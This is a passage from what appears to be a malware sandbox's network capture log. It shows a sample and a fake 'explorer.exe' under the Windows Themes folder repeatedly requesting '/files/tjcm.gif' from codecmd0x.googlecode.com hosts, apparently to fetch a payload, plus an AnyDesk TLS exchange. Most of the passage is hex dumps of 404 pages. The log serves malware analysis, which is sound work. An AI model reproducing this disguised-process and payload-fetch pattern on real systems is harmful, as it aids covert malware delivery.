3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:21.605854034 CEST	2735	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49890	92.223.88.41	80	C:\Users\user\Desktop\sj9q8uwmax.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:25.439656973 CEST	2740	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 77 04 04 b4 48 0b 26 41 a0 22 37 0a d1 da 90 7c 1a ea cf e7 7f 96 78 3c f4 25 e0 b7 eb 2f d2 9e 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: wH&A"7\|x<%/n0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Jul 16, 2022 23:58:25.470498085 CEST	2742	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 62 d3 34 81 81 e8 36 18 54 46 5a eb 8b 88 9e 6e 1c 6d 39 e1 8c 29 fe ce 44 4f 57 4e 47 52 44 01 20 bc 1c d1 ef ed 28 68 db 4a 74 63 f1 a6 7b 61 81 61 1d 5a f0 bb 6c 10 45 12 b5 cf ab 5f 73 e8 69 c0 2c 00 00 0b ff Data Ascii: WSb46TFZnm9)DOWNGRD (hJtc{aaZlE_si,C0?0'0vtS$0*H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Jul 16, 2022 23:58:25.470537901 CEST	2743	IN	Data Raw: e0 cd 68 3b 6a 87 6c a6 0d e7 d8 bd 61 df 56 6b 2a e1 1c 2b f5 9f bf 85 dd 8c 5b 06 1e 71 7f ba 4a a6 40 b0 77 17 ea 2c 3f 5b 94 14 85 2e ad 11 61 ab 88 f6 01 bb b3 47 6b e2 81 18 f1 8e 39 e6 d8 7b 0c 63 86 83 ac 70 84 75 27 2d 35 3d 7b 7b a8 ce Data Ascii: h;jlaVk*+[qJ@w,?[.aGk9{cpu'-5={{Hy8-&~K2vf/bj@kXScuxI#ph3/L^}a}4AkP+g_R4gs@lo67Jv"rR}uMU#[~.K_eCL/3
Jul 16, 2022 23:58:25.494404078 CEST	2744	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 32 30 37 31 37 30 36 35 37 Data Ascii: 000H010UAnyDesk Client0 220717065706Z20720704065706Z010UAnyDesk Client0"0H0uaq4_8[_\|_,zN+i/q)NU*E:uFQ[Z+
Jul 16, 2022 23:58:25.529814959 CEST	2744	IN	Data Raw: 15 03 03 00 02 02 2d Data Ascii: -

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49892	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:27.798254967 CEST	2750	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:27.825057983 CEST	2751	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:27 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:27.825083971 CEST	2751	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49896	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:31.401536942 CEST	2765	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:31.428580046 CEST	2766	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:31 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:31.428608894 CEST	2767	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49899	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:35.080053091 CEST	9381	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:35.122745991 CEST	9382	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:35 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 